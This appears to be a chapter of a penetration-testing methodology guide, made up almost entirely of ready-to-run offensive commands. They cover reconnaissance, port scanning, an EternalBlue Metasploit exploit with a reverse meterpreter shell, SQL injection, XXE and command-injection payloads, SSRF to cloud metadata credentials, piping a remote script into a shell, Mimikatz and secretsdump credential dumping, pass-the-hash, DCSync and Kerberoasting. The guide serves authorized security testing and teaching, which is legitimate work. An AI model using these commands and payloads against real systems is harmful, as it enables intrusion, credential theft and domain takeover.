Chapter 16: Penetration Testing Methodology¶

# WHOIS lookup
whois example.com

# Passive DNS history
# Tools: SecurityTrails, PassiveTotal, ViewDNS.info

# DNS enumeration — zone transfer attempt
dig axfr @ns1.example.com example.com

# Subdomain enumeration (passive)
amass enum -passive -d example.com -o subdomains.txt

# Certificate transparency logs
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq '.[].name_value' | sort -u

# Shodan — find all hosts for an organization
shodan search "org:\"Example Corp\"" --fields ip_str,port,org,hostnames

# Find exposed admin panels
shodan search "http.title:\"admin\" org:\"Example Corp\""

# Censys — TLS certificate search
# Search: parsed.names: example.com

# theHarvester — emails, subdomains, IPs
theHarvester -d example.com -b google,bing,linkedin,shodan -l 500

# Hunter.io (API) — find email format
curl "https://api.hunter.io/v2/domain-search?domain=example.com&api_key=KEY"

# GitHub — search for secrets in public repos
# Search: "example.com" "password" OR "secret" OR "api_key"
# Tools: truffleHog, gitleaks on discovered repos

# Host discovery
nmap -sn 192.168.1.0/24 -oG hosts-up.txt

# Full port scan (all 65535 ports)
nmap -p- --min-rate 5000 -oA full-scan 192.168.1.10

# Service version detection + OS detection
nmap -sV -sC -O -p 22,80,443,8080 192.168.1.10 -oA svc-scan

# UDP scan (top 100 ports)
nmap -sU --top-ports 100 192.168.1.10

# Aggressive scan (not stealthy)
nmap -A -p- 192.168.1.10

# Nessus CLI (if available)
nessuscli scan --name "Engagement Scan" --policy "Advanced Scan" --targets targets.txt

# OpenVAS (open-source alternative)
omp -u admin -w password -C -c "Full and fast" -t 192.168.1.0/24

# Nikto — web server scanning
nikto -h https://example.com -output nikto-results.txt -Format txt

# Directory/file brute force
gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,html,bak -o gobuster-results.txt

# ffuf — fast fuzzing with filter
ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt \
  -fc 404 -o ffuf-results.json

# Parameter discovery
ffuf -u "https://example.com/api?FUZZ=test" -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt

# SMB enumeration
enum4linux-ng -A 192.168.1.10 | tee enum4linux-output.txt
smbclient -L //192.168.1.10 -N
smbmap -H 192.168.1.10

# LDAP enumeration (Active Directory)
ldapsearch -x -H ldap://192.168.1.10 -b "DC=example,DC=com" -s sub "(objectClass=*)"

# SMTP user enumeration
smtp-user-enum -M VRFY -U /usr/share/wordlists/SecLists/Usernames/Names/names.txt -t 192.168.1.25

# SNMP enumeration
snmpwalk -c public -v 2c 192.168.1.1
onesixtyone -c /usr/share/wordlists/SecLists/Discovery/SNMP/snmp.txt 192.168.1.1

# Launch Metasploit
msfconsole

# Search for exploits
search eternalblue
search type:exploit platform:windows

# Use a module
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.10
set LHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run

# Meterpreter commands after shell
sysinfo         # System information
getuid          # Current user
getsystem       # Attempt privilege escalation
hashdump        # Dump NTLM hashes
run post/multi/recon/local_exploit_suggester

# sqlmap — automated SQL injection
sqlmap -u "https://example.com/product?id=1" --dbs --batch
sqlmap -u "https://example.com/login" --data "user=admin&pass=test" --level=5 --risk=3 --dump

# Manual SQLi test
' OR '1'='1
' UNION SELECT null,null,null--
' AND 1=CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--

# XXE (XML External Entity)
# Payload in XML body:
# <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

# SSRF — test internal access
curl "https://example.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"

# Command injection
; id
| id
`id`
$(id)

# SSTI (Server-Side Template Injection)
{{7*7}}      # Returns 49 — Jinja2/Twig
${7*7}       # Returns 49 — FreeMarker
<%= 7*7 %>   # Returns 49 — ERB

# Hashcat — GPU cracking
hashcat -m 1000 ntlm-hashes.txt /usr/share/wordlists/rockyou.txt  # NTLM
hashcat -m 1800 shadow-hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule
hashcat -m 13100 kerberoast-hashes.txt /usr/share/wordlists/rockyou.txt  # TGS/Kerberoast

# Password spraying
crackmapexec smb 192.168.1.0/24 -u users.txt -p 'Winter2025!' --continue-on-success
kerbrute passwordspray -d example.com --dc 192.168.1.1 users.txt 'Welcome1'

# Run LinPEAS
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Sudo rights
sudo -l

# Cron jobs running as root
cat /etc/crontab
ls -la /etc/cron.*

# Pass-the-Hash
crackmapexec smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c'

# PsExec via Impacket
impacket-psexec example.com/administrator:password@192.168.1.10

# WMI execution
impacket-wmiexec example.com/administrator:password@192.168.1.10

# PTT (Pass-the-Ticket) with Rubeus
Rubeus.exe asktgt /user:administrator /rc4:HASH /ptt
Rubeus.exe kerberoast /outfile:kerberoast.hashes

# SecretsDump — remote NTLM hash dump
impacket-secretsdump example.com/administrator:password@192.168.1.10

# Mimikatz
privilege::debug
sekurlsa::logonpasswords   # Dump plaintext creds from LSASS
lsadump::sam               # SAM database
lsadump::dcsync /domain:example.com /user:Administrator  # DCSync

# Remote LSASS dump (stealthier)
impacket-secretsdump -just-dc-user krbtgt example.com/administrator:password@192.168.1.1

# BloodHound data collection
.\SharpHound.exe -c All --zipfilename bloodhound-data.zip

# Import to BloodHound, then query:
# "Find Shortest Paths to Domain Admins"
# "Find Kerberoastable Users"
# "Find AS-REP Roastable Users"
# "Shortest Paths to Unconstrained Delegation Systems"

# Kerberoasting
impacket-GetUserSPNs -request -dc-ip 192.168.1.1 example.com/jdoe:password -outputfile kerberoast.hashes

# AS-REP Roasting (no preauth required)
impacket-GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt example.com/

# AWS — check for metadata SSRF
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Enumerate AWS with Pacu (after getting creds)
python3 pacu.py
Pacu > import_keys
Pacu > run iam__enum_permissions
Pacu > run iam__privesc_scan

# Check for overly permissive S3
aws s3 ls s3://target-bucket --no-sign-request   # Unauthenticated
aws s3 ls s3://target-bucket                      # Authenticated